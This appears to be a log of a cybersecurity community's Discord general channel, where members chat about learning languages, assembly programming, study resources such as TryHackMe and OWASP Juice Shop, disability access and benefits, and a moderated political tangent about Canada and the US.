general

[mossy river]

If I wouldn't get told off, I'd fake ban you 😁

[devout palm]

Shoot, i have to go

[bleak dagger]

unessecary mostly, like capital letters

[rapid merlin]

The ideal way to learn varies depending on the individual and the subject matter (not every subject is equal).

[devout palm]

And it really depends on interests as well

[rapid merlin]

Definitely.

[bleak dagger]

haha salty cause you dont get it.... (i dont either :/)

i use semi colons sometimes like periods dont see a lot of use as what theyre meant to used for

[rapid merlin]

I do it because: 1) It's a habit. 2) Proper punctuation (which is related to grammar). 3) Expressing myself clearly works best when I write several sentences in a row, which ties back to points 1 and 2.

[bleak dagger]

yeah i get it dude

i use semi colons for 3

but for 2 i use grammar differently

[rapid merlin]

Interesting, elaborate.

[bleak dagger]

for 1 i text a lot and im not wasting data on a period

[devout palm]

I didn't care much about grammar and punctuation until I joined TryHackMe.

[bleak dagger]

sometimes i use elipses... yeah thats mostly it lol

[rapid merlin]

Such an ecologist!

[rapid merlin]

It's important if you want your ideas to be coherent and for people to take you seriously, among other reasons.

[rapid merlin]

Fundamentally, as long as you're not completely butchering verbs and such, you don't need to worry too much. That comes from someone who doesn't fully master English either, so what I'm saying might be incorrect. I like to streamline everything (ideally).

[devout palm]

Are you a native speaker?

[rapid merlin]

No, not English.

[devout palm]

Jabba, you wrote a whole novel

[mossy river]

In German there's a joke/ example commonly used to explain cases.
"Cases" are used to dictate how the order of a sentence should be.

For example, in the "Accusative Case" is used to indicate the direct object of a sentence.
To indicate this, you have different forms of words.

"the" in German is "die", "der" or "das", but in accusative form, the masculine "der" becomes "den".

This means that you can have a sentence, "Der Hund beißt den Mann" (the dog bites the man" and you can change it to "Den Mann beißt der Hund" and the sentence means the exact same thing "the dog bites the man".

My joke was that I flipped it around and said "the man bites the dog", then added commentary to further the humour.
Hope this helps 🙂

[mossy river]

Trying to word it so that it isn't too complicated 😄

[rapid merlin]

You?

[devout palm]

How dheck it means the same thing

[mossy river]

What do you mean? :)

[devout palm]

In German, the order doesn't matter?

[mossy river]

It does matter, yes.

You can see that "bites" doesn't move, this is because the subject has to be in the second place in a sentence

[devout palm]

Nope

[mossy river]

Sorry not subject, verb*

[rapid merlin]

What is your native language?

[mossy river]

This changes depending on the purpose of a sentence.
For example:

• Standard Word Order
• Subject, Verb, Object
• Question Word Order
• Verb, Subject, Object

[devout palm]

Oh, I mean, it's like this?
The man got bitten by the dog.
The dog bit the man.

[devout palm]

I don't want to reveal (:

[mossy river]

"Der Mann beißt den Hund" means "the man bites the dog"
And "Der hund beißt den Mann" means "the dog bites the man"

What changes is the accusative case "den".
"Den" refers to the object, this is what is being affected in the sentence.

[devout palm]

Ohh

makes sense now

[shut hawk]

You've just swapped hund and mann no?

[devout palm]

And the "Den" with "Der"

[shut hawk]

Not here? Unless I'm blind

[rapid merlin]

It's interesting, no need to share then. That could imply that the language you speak isn't widely used (I am 99% sure I am wrong).

[devout palm]

Well, it is widely used in the country that I'm in, obviously.

[mossy river]

Correct because I am trying to show that "Den" refers to what is being affected

[rapid merlin]

Of course.

[shut hawk]

Ahh okay

Did you use Duolingo to learn?

[devout palm]

German drill

😂 Just joking

[mossy river]

Google, YouTube and someone I met on Discord

[shut hawk]

https://tenor.com/view/uk-drill-gif-18714757

[mossy river]

You kid but yes I did learn German through music

[wintry sluice]

rammstein?

[devout palm]

Sonne!

[mossy river]

No, actually good musicians

[shut hawk]

Ah fair, I'm looking at clozemasters for learning a new language - heard of it?

[mossy river]

Namika is pretty good and she speaks fairly clearly.
Mark Foster and CRO are also alright

https://open.spotify.com/playlist/7xDPop8t5hbmq8WH5VlwGA?si=6b66f1384c9d4058

[devout palm]

So rammstein isn't a good musician? Shame on you

[mossy river]

No but I will check it out.
I want to get back into learning languages because it has been a while and my German is slipping.

[rapid merlin]

Hey sup

[devout palm]

Hi, unknown

[rapid merlin]

Hi.

[devout palm]

Are you learning it because it is fun or you need it?

[rapid merlin]

Learning languages is one of the best exercises you can engage in (intellectually).

[vagrant cypress]

yo

[rapid merlin]

I'm learning russian and after that imma learn German as well

[rapid merlin]

Very nice, especially the first one.

[vagrant cypress]

ja ja ja

[mossy river]

At the time I was seeing someone who was German and I wanted to converse with them.
But my obsession with languages started before then. I used to read, write and speak Russian.
I then moved to Spanish and Italian but didn't find much motivation.

My best friend speaks German and it's nice to converse in his mother tongue, but he doesn't really "help" when I speak to him 😄

[rapid merlin]

How are you learning Russian?

[mossy river]

ig 🙄

[vagrant cypress]

juat drink vodka enough

[rapid merlin]

Some do but not most.

[rapid merlin]

Cool. Can you Converse in Spanish and Italian?

[shut hawk]

https://tenor.com/view/yes-blake-shelton-the-voice-well-thank-you-i-feel-so-honored-gif-15185419

[devout palm]

Oh i see, that's nice

You gotta learn it yourself! :p

[mossy river]

No, I can in Portuguese but not Spanish or Italian.

[rapid merlin]

You tube, blogs and there is an app called learn Russian.

[rapid merlin]

Read poetry too and novels.

[rapid merlin]

Actually stories

Yeah 👍🏻

[rapid merlin]

Good, as long you actually learn it properly and correctly.

Then it's awesome.

Yeah learning new language is fun.

[devout palm]

Being exposed to a language is pretty efficient way to learn

[rapid merlin]

Definitely.

[devout palm]

That's how i learned english

[rapid merlin]

section .data
message db 'I totally agree', 0xa
len equ $ - message

section .text
global _start

_start:
mov edx, len
mov ecx, message
mov ebx, 1
mov eax, 4
int 0x80

mov ebx, 0
mov eax, 1
int 0x80

[devout palm]

And about speaking, I'm more used to British accent

[rapid merlin]

US for me by far.

[chilly veldt]

Late for wooooork

Cause busses be shit

[devout palm]

Why 32 bit?

[blazing granite]

but if you speak Portuguese (from Brazil) you can understand some Spanish, I can understand some Portuguese

[rapid merlin]

I was checking out an old gentoo distro (build) because I enjoy inclusivity. Some folks might still be thinking in 32-bit systems, so it's good to keep them in mind.

[blazing granite]

enough for basic converstation

[mossy river]

I speak Portuguese from Portugal.
And yes you are correct, but if you speak small amounts of Portuguese and some of Spanish overlaps with Portuguese, the amount of Spanish you'll understand is a very small percentage.

I do speak Spanish but not enough for me to confidently announce that I can have basic conversations

And Italian is mainly swear words courtesy of my closest friend

[rapid merlin]

The best way to impress while also annoying your teacher is by submitting all coding exercises in assembly language, and so forth.

[shut hawk]

The best way to learn 💯

[devout palm]

Lmao, that's risky

They might give you an F

[shut hawk]

"0/10, did not follow the assignment brief"

[devout palm]

Just because they can't read it

[rapid merlin]

I agree. But a passionate computer teacher would likely inquire about the reasoning and method behind submitting coding exercises in assembly language.

Especially if it's well coded.

[devout palm]

I used a long if statement and my prof gave an F

[rapid merlin]

Is there any website where I can find good info about computers? Like any basic theories about computers and cyber sec

[mossy river]

https://tryhackme.com ?

[devout palm]

I mean like
a && b || a && c

[blazing granite]

My parent had a time share in Brazil so I spent a lot of my summers there, also because of the Spanish I can understand Portuguese but I understand more than can I speak, but from Brazil, Portuguese from Portugal it's a different beast 😂

[shell nova]

please avoid those

[devout palm]

why?

[shell nova]

hard to read

[rapid merlin]

Certainly, but ultimately, who cares? Learning holds greater importance. If someone is already proficient in coding beautifully crafted assembly code, they're likely well ahead in the game.

[devout palm]

nu

[rapid merlin]

You mean computer architecture?

[shell nova]

also the a can be factored

[mossy river]

It's actually a really nice language but my kicker was that it sounds like Spanish but isn't at all like Spanish (they also don't like it if you speak Spanish to them ahahaha)

[devout palm]

Well, yeah it's not a clean code

[rapid merlin]

Yea smth like that

[devout palm]

I agree on that, but what matters though is performance

IMHO

[mossy river]

They're the only words you truly need

[shut hawk]

Not necessarily, you can learn assembly without knowing a clue about other programming concepts

[devout palm]

And i made the fastest solution for an algorithm question, and got the least grade

[shut hawk]

The whole point is to show you know what they are specifically teaching you

[mossy river]

@shut hawk Not sure I see the learning factor in this website.
It explains when you get it wrong but there isn't really a "path" for you to learn.

It's good to consolidate your understanding it seems.

[shut hawk]

Yeah that's the whole idea around it, it isn't a linear structure

[rapid merlin]

Begin with the Von Neumann architecture as the foundation, then delve into the evolution of computing (technically). Understanding it well and then move to more recent architectures. To truly grasp the essence of C programming or any high-level programing language, delving into assembly language becomes imperative.

[mossy river]

Yeah but there isn't exactly a pathway into the language either

[rapid merlin]

Thanks man 🙂

[twin ridge]

Gave +1 Rep to @signal nimbus (current: #550 - 7)

[blazing granite]

People from Brazil they are used to 😂 they're surrounded, also long time a go Argentina was in more or less a good economic situation and Brazil was very bad, it was cheaper to go to Brazil that go to the coast in Argentina, so there was a lot of tourism from Argentina.

[shut hawk]

Mhm, kinda just throws you in the deep end

[blazing granite]

today is the other way round probably 😂

[mossy river]

For a competitive platform it's great.
I'd recommend Duolingo or Busuu to most learners.

Or join Discord servers with the language you want to speak and talk to their members

[blazing granite]

check https://www.italki.com/

[shut hawk]

Okay, cool cool thanks

[twin ridge]

Gave +1 Rep to @mossy river (current: #6 - 1149)

[mossy river]

Let me look

[shut hawk]

Yeah Duolingo doesn't have my language 😠

[rapid merlin]

I mean, if a person already possesses such skills, this is indicative of their mental capacity and aptitude for learning. In this case, the teacher should indeed encourage and foster this type of thinking and expression (especially if it involves well-designed assembly code). Beautiful assembly code is difficult and not trivial to produce. If I were a teacher, I would try 100% to understand why this person sent me this code and how he or she learned it. Maybe I'd ask that person to implement what I teach in assembly code and so on, as a challenge.

[mossy river]

Slovak?

[shut hawk]

Yeee

[mossy river]

L Bozo

Speak to your family

[rapid merlin]

A true teacher always finds ways to stimulate and convey the material directly or indirectly.

[shut hawk]

I mean, it may be impressive if you are able to do it but it still doesn't show the teacher any evidence of you knowing what they are teaching you (unless that's assembly of course)

[rapid merlin]

Okay guys thanks for talking. Have a great day. I gotta go.

[shut hawk]

Jk, but my mum never speaks in it because none of us understand her

[mossy river]

Have you told her you want to learn the language?

She should have raised you in it tbh

[shut hawk]

She did try!

For both of us, but my dad doesn't speak it

And I could barely learn English

[blazing granite]

She should speak it with you, I have a friend that his mother is French and his dad is from Argentina, his mother spoke French since the day he was born and his father Spanish, he speaks both languages perfectly 🙂

[rapid merlin]

Understanding assembly language coding well shows a deep understanding of memory management, computer architecture, and more. It also suggests that the person has the intelligence to handle something tougher than what's taught in the course (by a mile). Even if the course is advanced, the teacher would likely admire that extra effort.

Most computer science students can barely code in C let alone assembly nowadays.

[blazing granite]

It's really funny seen him interact with his parents, speaks french with his mom and he turn around and speaks spanish with his dad 😂

[shut hawk]

Eh, agree to disagree

[shut hawk]

Lmao

[rapid merlin]

More and more, computer science degrees seems to be leaning towards web applications, almost like it's moving towards web app software engineering.

[shut hawk]

What language does he speak when he wants to communicate with both of them?

[mossy river]

Nice website but there are much cheaper ways to learn.

[shut hawk]

I guess learning with a tutor is much more effective though?

[timid prism]

isnt that normal with people who speak multiple langs

[grizzled crystal]

You can't really compare tutoring and duolingo imo

[mossy river]

Mhm but you can find tutors on Discord that are free.
Or enroll in a free language course at your University

[grizzled crystal]

Or buusu

They're different things

[mossy river]

I didn't.

[blazing granite]

you can practice for free, I used it more for practices than learning

[grizzled crystal]

Hmm this is fair, although with tutoring you can still get 1 on 1 support vs a uni

[grizzled crystal]

Yeah my bad, I saw you mention those earlier

[mossy river]

You get 1 on 1 support at University 😁

[grizzled crystal]

You have to first enroll do you not?

Like you have to enroll into university, the institution

[mossy river]

Yes, I said "At your University" as I was talking directly to Jayy in my response

[grizzled crystal]

Ah right 👍

Italki is defo on the pricey side

[shut hawk]

That is even if I go to uni

I have quite a lot of options lined up, still need to decide

[mossy river]

Personal tutors are great and I would always recommend you to go with them if you can afford it.
But, I am not a fan of virtual learning.

[grizzled crystal]

Ohh yeah I've heard that a lot. I get why people don't like virtual tutoring but it's super good accessibility wise

I'm a big fan

[blazing granite]

They've been living in France for many years but it can be a mix, because he speaks French for being in France for so long and she speaks a kind of intermediate Spanish because of her husband and son (she always wanted to know what her husband and son were talking about 😂 )

[grizzled crystal]

Universities are notoriously not accessible here so it's a headache even entering the building

[mossy river]

There is a website that does in person tutoring for languages.
But it took so long to try and set up that I gave up

[grizzled crystal]

Oh that sounds cool

[mossy river]

It was also v/ expensive.

[grizzled crystal]

My friend from the uk worked at a tutoring place for a bit, are those common? Not sure what they're called

Basically helping kids with whatever subject they're struggling with

Although I think that's kids and teens only

[blazing granite]

sometimes when one parent speaks a language and the other doesn't they speak to their child in common language with is a shame because their are robbing the child the opportunity of learning another language

[mossy river]

It is super common for University students to join these companies.
They are online and you can do it from your room, all you need is a background check

[grizzled crystal]

I think he did it at a physical place

[timid prism]

well we keep mixing 3 languages while talking so 😂

[split compass]

Tutors can be effective because they're able to dynamically shift focus based on what you're specifically struggling with. Where as a class or seminar has to target the lowest common denominator.

I did some tutoring for... 8 I think, of my classmates in network and systems security course I took in college back in '08
I got a lot of out of that arrangement; because it gave me an opportunity to understand some other perspectives on the materials, so I had to gain an even better understanding to break down the parts that seemed intuitive to me.

These days, if I'm looking for more specific information, I tend to ask a GPT if I have some baseline understanding already, because I can generally figure out/test the quality of the responses while learning the bit I'm missing, but you can't trust a GPT fully.

[buoyant trout]

true i'm also go to universitie for B.sc cyberscurity but they even not tech basic cyber scurity

[grizzled crystal]

By accessible i mean no ramps and elevators

I physically have to be carried into a building with stairs only and it's horrible every time

Like should I get a bachelors in compsci? Probably. Do I refuse to for the sole reason of dealing with enough accessibility issues as is? Absolutely 👍

[shut hawk]

https://www.explorelearning.co.uk/
This maybe? They have physical places

[grizzled crystal]

Maybe! Not sure

[shut hawk]

Appreciate the insight!

[mossy river]

I am unaware of any in person places.
I know they exist but the majority of people I know do online tutoring because of the accessiblity

My brother had a mathematics tutor which was in person but he would drive to our house

[grizzled crystal]

He taught so it may be a small business

[shell nova]

if you're in the US, that's basically illegal

[grizzled crystal]

Yep!

I know haha US has very good ADA laws

[shell nova]

file a discrimination suit

[grizzled crystal]

I'm not in the US unfortunately

[shell nova]

ah damn

[grizzled crystal]

Probably the only context I could say this in

[shell nova]

Canada has similar laws, and Europe is a bit backwards on that end though

[shut hawk]

That sounds horrible Aquilo, I hope it gets better

[grizzled crystal]

Comparatively at least. America has a bunch of disability issues as well, like the 2k money cap

They've been trying to push legislation for years to change it to 10k, but basically if you're on disability benefits you cannot have more than 2k in assets or in your bank account. It's wild

[wintry patio]

best way study like u did in first grade?

[grizzled crystal]

It won't but its cool I'll move in a couple years 😎

[grizzled crystal]

I hear Canada is pretty good. Cold though eh

[grizzled crystal]

I think this also includes stuff like property

[blazing granite]

don't go to winipeg is effing 🥶 there 😂

[grizzled crystal]

I bet

[blazing granite]

I have a friend who live there once I went to visit him on winter damnnnnnnnnnn 🥶 😂

I hate cold

[lament tendon]

So if you own a single computer, you‘re just done?

[grizzled crystal]

not a computer, savings and assets

https://www.fullstackeconomics.com/p/how-policy-punishes-disabled-people-who-save-more-than-2000

[blazing granite]

that's crazy

[split compass]

Canada is good, but has its issues, one of its biggest is a growing number of people trying to emulate 'murica.
On the disability front, it's a mixed bag.
ODSP (Ontario Disability Support Program), is attrocious.
Won't cover even half of what it costs to rent an apt somewhere that you have access to all of the auxiliary support programs that make life more liveable.
Net worth cap of $5000 or lose access to program.
If you get married to an able person, you lose access to the program and are essentially their property and problem in the eyes of the law.
If you live in a space with "the opposite sex" you will be regularly accosted that you're in a relationship, and are going to lose disability, you have to periodically sign a letter that states you are not in an exclusive sexual relationship with the person. (If your relationship isn't exclusive, then the common law marriage laws are harder to apply against you. Of course if they are actually just a roommate, common law marriage laws don't apply, but they'll still try to get out of their obligations this way.)

[lament tendon]

I see, I thought „assets“ includes a lot more then it apparently does. Regardless, 2k is literally nothing.

[split compass]

We recently passed the "MAID" act (a couple years now). It's essentially a eugenics for disability act, and has been used for those who are on disability to escape debt by escaping the mortal coil.

[grizzled crystal]

that's wild wtf, you literally have to avoid partnership to keep living (on paper, obviously disabled people will just lie here for good reason)

[grizzled crystal]

I have a LOT of opinions about the MAID act, and assisted dying vs euthanasia in general. Although probably not appropriate to go into it here. It's abhorrent

[rapid merlin]

Oh yikes.

It's so-so at best right now.

The economy is tanking.

Issues with laws and so on.

Crime rates are increasing, and if you defend yourself, you risk facing immediate charges (because self-defense laws).

The healthcare is atrocious (especially in some provinces).

I wish Canada would be like the USA.

[split compass]

Yep, and there's always the question of intent vs. application. Though you always have to assume that if reprehensible application is involved, that was someone's intent.

Anyway yeah, my ex is on disability program, I navigated that system with them for a number of years.
And this Saturday I'm helping a disabled (wheelchair bound) highschool friend of mine pack up because they're moving to Germany. They would've been a good candidate for a C-Brace 10 or 15 years ago, but without regular access to transportation and physio here, they're not currently a good candidate. 😢

[split compass]

Oof, why?
It's so much worse there.
In most states, you still get charged in self-defense situations there as well BTW.

[grizzled crystal]

Ooh C-Brace looks super cool!

Good luck to your friend, moving is tough but totally worth it i feel

[rapid merlin]

In Canada, the situation is quite different. By default, you will face charges automatically if you find yourself in a case of self-defense.

Economically speaking it doesn't make sense (fundamentally).

The real estate is borderline radioactive.

[split compass]

It varies state to state, but the same happens in most, unless under very specific circumstances. (See castle doctrine)

[rapid merlin]

Which is way better.

[shell nova]

Oh dear

[rapid merlin]

You can't protect yourself.

[split compass]

I can, and will, and I'll be out on bail within hours, and my charges will get dropped when the investigation is complete.

Which is the same as most people in the U.S. go through, unless it was a home invasion.

[rapid merlin]

I've encountered many people in the US, and believe me, when I hear their stories, it's nothing compared to what you might go through here if everything goes smoothly.

[shell nova]

Do I need to step in here?

[rapid merlin]

Why?

[boreal scarab]

https://tenor.com/view/train-ride-michael-downie-downielive-riding-train-all-aboard-gif-6845624057325235527

[shell nova]

We tend to avoid political issues in this channel

[rapid merlin]

Sure thing.

[shell nova]

And this looks like it may degenerate if it continues

[rapid merlin]

They don't seem irrational, and I don't overreact.

[boreal scarab]

Yo, Oatmeal hits hard

[rapid merlin]

I have serious doubts, but if it's not acceptable according to the rules, we will stop then no problem.

[blazing granite]

TMI 😂

[split compass]

Most violent crime in North America is not home invasion.
It isn't what the media you're consuming wants you to believe it is here.
The statistics do not support your claim, and neither does the case law.

(This is Toronto specific, as the most densely populated city in Canada.)

[rapid merlin]

People are literally getting shot down the street. Someone just died accidentally (wrong target).

[boreal scarab]

NOT THAT!

https://tenor.com/view/cat-punch-gif-26310880

[split compass]

Rolls on the floor laughing

Have you looked at gun violence statistics from the US?

Why in the world would you want to emulate that?

[rapid merlin]

I would 100% live there if I can actually protect myself lol.

[rapid merlin]

I want to emulate the US economy.

Which is way more active and has way more potential obviously.

[boreal scarab]

https://tenor.com/view/deal-with-it-americal-eagle-flag-hindu-sticker-salute-eagle-has-landed-gif-17296453123192091642

[rapid merlin]

Do you know why startups are so lacking compared to the US?

Economy and policies.

[blazing granite]

because they don't have enough Israeli people there 😉 😂

[split compass]

In my experience they're not.
In the tech centre I see them all of the time in the GTA, they do well, then they sell, yes usually to an American company, but it's not a reason to go there.
My parents have lived there for some 20years, greencards the whole bit.
They're looking at moving back up here now because they do not like the way things down there are going.

[rapid merlin]

I hope, they will at least build the economy and create remarkable things.

[rapid merlin]

I don't know because you are literally being punished here for working hard.

[split compass]

I won't touch the Gaza strip or anything close to it with a 10foot pole on this server.

[split compass]

The grass is always greener, until you get to look from the other side.

[rapid merlin]

The average startup often doesn't continue due to policies, heavy taxes imposed on them, and a government that appears indifferent to its people's needs. Comparatively, economically and in terms of work opportunities, the USA outshines other places assuming you're reasonably competent. In the US, you can promptly access medical care if you're willing to pay, and it's not excessively expensive.

Startups are literally opening every single day, and the harder you work economically, the more you are rewarded, quite literally.

The richer you get in Canada, the more you are taxed and urged to remain at a certain level (even with moderate salaries). Consider being taxed at 40-50% and still encountering healthcare issues.

[blazing granite]

Israel is call the start-up nation, hence my comment. No need to it go to Gaza sh*t, I live it and nothing you can say from your knowledge from TV can cover the subject, also I have enough of that IRL so I'm not in any mood to discuss it here with people that don't know anything about that. That's my last comment to this

[rapid merlin]

I don't know frankly speaking, USA is way better on many levels.

[split compass]

Yep, affordable.

[rapid merlin]

Israel excels in technology and scientific advancements, consistently achieving remarkable feats which is awesome (I really like that).

[rapid merlin]

Now, if you check the average remotely decent job, you'll find that most offer insurance as part of their benefits package.

They always have that argument against the US.

[shell vine]

do i really need to learn data structure and algorithm for bug bounty? or just a basics of python and web D.?

[shell nova]

having insurance tied to a job is a terrible idea, btw

[devout palm]

You don't have to learn coding for cyber security

But it is indeed beneficial

[rapid merlin]

Which is part of a benefits package.

[shell nova]

but lets stop right here

[devout palm]

For bug bounty, I'd recommend learning PHP

[rapid merlin]

And even then if you get paid very well you can easily afford it on your own.

[split compass]

You understand how a tax bracket works right?
That the higher percentage only applies to the gross income in excess of the lower bracket.

So if you make $150,000/yr in Canada
The first ~$54,000 is at 15%, the next ~$50,000 is at 20%, the next $60,000 is at 26%
Our maximum tax bracket for 2023 is 33%... for income above and beyond $235,000.

Are you even affected by that federal tax bracket?

[rapid merlin]

Sure.

[rapid merlin]

Yes I definitely do.

[shell nova]

Unless you're in Quebec*

but that's a different problem

anyways

[rapid merlin]

Anyway, interesting conversation haha.

[shell nova]

gonna kill it right here though, next ones to start it up again will get mutes

[rapid merlin]

I mean this is a discord server about IT and cybersecurity, so I get it.

[shell nova]

right

[rapid merlin]

Where did you see that?

[bold dawn]

for some that is the only way it’s affordable. Do to my wife being type one diabetic, insurance out of pocket for her alone we were quoted the lowest we would need 1800 a month

and she’s 20… it would get worse as she aged

[shell nova]

sigh

[rapid merlin]

Learn OWASP top 10, Web development ideally and so on.

Also consider checking portswigger.

[vagrant cypress]

she too young shii gonna get worse

[split compass]

It's better than not having it, but it's worse than having a baseline support system that prevents corporations from owning you in the first place. Not everyone wants to work for Arasaka.

[shell nova]

guys.

[bold dawn]

Lets stop. Hydra asked us to stop. I missed that message

[wintry sluice]

Listen to hydra or they will crack your passwords

[molten sky]

never realized how much Hydra's green blended in with the rest

[sick lance]

Mod green is bolder.

[glass nest]

OWASP top 10 is lit. As is Juice Shop

[sick lance]

Juice shop can do one.

Still waiting on thr delivery.

[shell nova]

yeah it's pretty close, there's a shield on !compact mode

[rapid merlin]

I've always appreciated reading this message whenever you utilize the software: Please do not use in military or secret service organizations, or for illegal purposes.

[glass nest]

Since they ask so nicely

[shell nova]

I suggest you follow that advice

[rapid merlin]

Certainly, the inclusion of "please" truly altered the entire dynamic.

[rapid merlin]

They said please.

[molten sky]

i on compact tho 😶

[bold dawn]

I used to be caught off guard by the military part, but I guess military does probably have their own methods of bruting

[molten sky]

no shield on desktop for me

[shell nova]

same

[split compass]

And you can always spin up your own Juice Shop from the project's page to get more up-to-date versions than are hosted in THM rooms if you're just trying to focus that specific skill set.
(So do the room, for the guided learning, then tackle it over and over to see what you can find, either on room, or on your own env)

[shell nova]

Juice shop is a pretty good practice lab

[devout palm]

I can see the shield with no problems

[shell nova]

you aren't in compact mode

[bold dawn]

I'm not on compact

right

[rapid merlin]

It's likely because someone indirectly or literally experimented with software similar to it on a military installation.

[sick lance]

Compact is minimal display

[bold dawn]

I was showing what it looked like for us

[shell nova]

Discord is weird

[devout palm]

Compact mode = more messages to read

[split compass]

And the Military probably doesn't care about the pleasant request, but the devs put it their, hoping it prevents people from blaming them for use of the tool.
But yeah, if you ever watch JH, half the time he'll just write his own loop in Python to accomplish the same thing x'D

[devout palm]

It looks like IRC

[glass nest]

So If I declare war on OWASP Juice shop, I can't use it?

[shell nova]

I mean hydra isn't a super complex program to redo

[shell nova]

IRC is more compact

[molten sky]

looks like shields don't show unless you also show avatars

[heady nova]

g'mornin

[molten sky]

so real compact = no shield

[bold dawn]

correct

[sick lance]

Icons won't show no.

[rapid merlin]

Hi.

[bold dawn]

and I will side with Juice

[heady nova]

ello, wassup?

[lone thistle]

👀

[rapid merlin]

Doing good and you?

[wintry sluice]

Is the juice fruity? Full of zest?

[devout palm]

Attac box

[heady nova]

been outta sorts for past three days, it all good rn tho

[bold dawn]

CTF Builder?

[sick lance]

Glad I could help 😛

[lone thistle]

It's got a makeover 😄

[devout palm]

Oh yee

Looks great

[rapid merlin]

That's good I am glad, there's nothing better than being in a good position/state of mind.

[devout palm]

Elegant colors

[lone thistle]

https://tryhackme.com/r/resources/blog/new-ctf-builder 🙂

[sick lance]

CTF builder is neat

[heady nova]

should've taken those meds earlier, i concur

[rapid merlin]

I see and understand, even though I don't take any myself. I do have some minor issues (nothing bad of course).

I could probably address it, but I prefer not to (it will just cause issues down the line).

[heady nova]

me neither. just like toughing it out but past three days were unpleasant

[glossy portal]

what kind?

[rapid merlin]

I have racing thoughts, and let's just say it makes sleep impossible.

[heady nova]

for migraine

[heady nova]

hyperactivity?

[rapid merlin]

I have hyperfocus, but I don't have ADHD though.

[heady nova]

like a superpower going haywire. but nothing as good as sleep

yeah xD

[rapid merlin]

Certainly, it has helped me numerous times, but let's just say my mind is its own enemy.

People often only see the positives; they don't see what goes on behind the scenes.

But it's nothing compared to what some people go through.

I don't complain, I am fine.

[boreal scarab]

AHHH THINCLIENTS!

Begone Devil!

[heady nova]

Makes sense, it prolly is too much for human brain to handle all that info being dumped at rapid speed(is what I think hyperfocus is)

[rapid merlin]

The reason why it's that not bad it's because I can handle it.

I have Low Latent Inhibition (long story).

[rapid merlin]

For the average person, yes definitely.

Many go crazy actually.

[glass nest]

Beerise, all the store computers are thin clients, bar the 2 host computers.

[boreal scarab]

Me watching my amazon order being 2 stops away

[rapid merlin]

Then delayed till 10 pm (happened so many times to me).

[glass nest]

They are just dumb terminals though connecting to the hosts. They generally last about 5 or 6 years before borking out

[boreal scarab]

As long as they don't deliver an empty box COUGH UPS COUGH I'm happy

[blazing granite]

still waiting for that sever 😉 😂

[glass nest]

On the plus side, Sounds like you had a fun day in Canada with Emma

[boreal scarab]

We had Thin clients at my old job, still hate em with a passion, but I can see how it saves on money and electricity

[boreal scarab]

Yah.... I gave up hope on that one, if I get it, cluster, if not. Oh well

[glass nest]

Yeah, I'd not use them for anything important. They are like... Stormtroopers of the computer world

[rapid merlin]

Nothing is more frustrating than unboxing a printer cartridge when you expected something 10 times its size.

At least Amazon customer service is nice.

[boreal scarab]

Oh 100%.

Besides the French ONLY gas pumps

[glass nest]

They have racist gas pumps?

[glossy portal]

😆

[sand trench]

brrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr

[boreal scarab]

Yah it screams at you in French.

https://tenor.com/view/emmanuel-macron-angoisse-gif-9597152

[blazing granite]

Esqy!! How are you???

[glass nest]

Just procrastinating the last little bit at work. Then gotta head to my sisters house to fix her washing machine

[split compass]

Problem was probably with the back-end infrastructure if you were frustrated with it.
Dumb terminals are only as good as their supporting systems.

[glossy portal]

hope it goes well

[glass nest]

Shei - I'll be directly involved. Of course it'll go well 😄

[boreal scarab]

Yah, so in college, took a science class, they had thin clients in the testing room, and it was SLOW as fuck

[blazing granite]

the real problem is when the dumb terminals are operated by dumb people 😂

[boreal scarab]

I said "screw this, I'm bringing my own laptop"

[glass nest]

From what she described, its either a bearing or some change rattling around between the drum and the cover

[glossy portal]

makes sense

also I'm hackerman now!

[boreal scarab]

Sometimes I don't understand deliveries. Like. You're on the other side of the road, then you past me to drop off another package, then circle back to me.....

WHAT?!

[blazing granite]

once I order 3 thing, the delivery guy comes and bring me only one, I told him what are the other 2, he told me I have only this, another guy will come with the other 2 😂

[shut hawk]

did you tip them? 😂

[boreal scarab]

They just tossed my new headset... breh

[lament tendon]

Hello everyone.

[blazing granite]

this isn't America we don't have tipping fever 😂 Tipping is for restaurants and a gift for great service not an obligation.

[lament tendon]

How‘s life?

[blazing granite]

How are you bit?

[shut hawk]

agreed!

[sand trench]

t minus 6 days and 6 hours

[lament tendon]

Bored, mostly. I only read boring stuff at work all day…

Hopefully will get to actually do some hacking or something this evening.

How about you?

[blazing granite]

waiting for some money that is suppose to come so I can go to visit my mother and be there for her birthday

[lament tendon]

Oh, I see.

A nice thing to wait for! ^_^

[blazing granite]

I don't really know how much I'm going to get, it's a tax thing, I have some debt in the bank so depends how much I'm getting minus what the bank is going to take that decides if I can afford the airplane ticket or not the waiting is killing me,

[lament tendon]

Aaah, that‘s rough.

Best of luck for that, whahaha!

[glass nest]

I'm excited for you to visit MommaRex

[blazing granite]

I hope I can, I haven't since her since 2020

[lament tendon]

Waiting in suspense is the worst kind of waiting.

[molten sky]

ya know what's really suspensful tho

[glass nest]

Suspenders?

[blazing granite]

there are some family issues as well so I'd love to be present there to support them

[naive violet]

@glass nest Boards arrived

Got a package waiting for me too

[glass nest]

You got nephews, Neices and cousins you can bring international candy to?

[lament tendon]

Stressful.

[glass nest]

Oh wickid.

That sets the tone for you week, James!

[blazing granite]

nobody is married 🙂

[sick lance]

Re ordered, or they found 'em?

[naive violet]

I forgot to print the Bill of Materials so I need to figure out what goes where

[glass nest]

Was a lovely clear day today - I imagine cloud cover would affect your alien transmissions?

[naive violet]

I don't think they lost them

[naive violet]

Apparently it can, limited impact though

[glass nest]

Do other signals impact it at all, like ones on a different frequency?

Is there spillover from adjacent ones for example?

[naive violet]

Nah they're pretty good at allocating bands for that
And with a dish, it's very directional

Have to have it pointed right

Just so happens that the Sky satellites are close enough to the ham radio one

[glass nest]

I remember when I was kid, a neighbour of mine was from the middle east, and he had a ginormous dish in his back garden to get the TV channels and stuff from there

The thing was the size of a shed

[blazing granite]

maybe he was looking for aliens 😂

[naive violet]

My boss has a 3m one

And several going at any one time

[glass nest]

Yeah, My initial thought was that he was some sort of secret agent. This was about 30-odd years ago, so it's probably just how big they were back then

[blazing granite]

For a few month a long time ago I was a volunteer for SETI 😂

then I got bored 😛

[naive violet]

Big dish means it collects more waves, so you can detect weaker stuff

[sand trench]

hence turn the moon into a giant dish

tada collect all the weaker stuffs

[naive violet]

Sat stuff is cool but I don't have the space or money to do a lot

[blazing granite]

I thought the moon was made out of cheese 😂

[glass nest]

The Clangers live on the moon

[sand trench]

does that stop carving it into a dish???

[naive violet]

Use a big crater?

[blazing granite]

When I was very little I said to my mum when I'm older I'm going to the moon and I'll eat all 😂

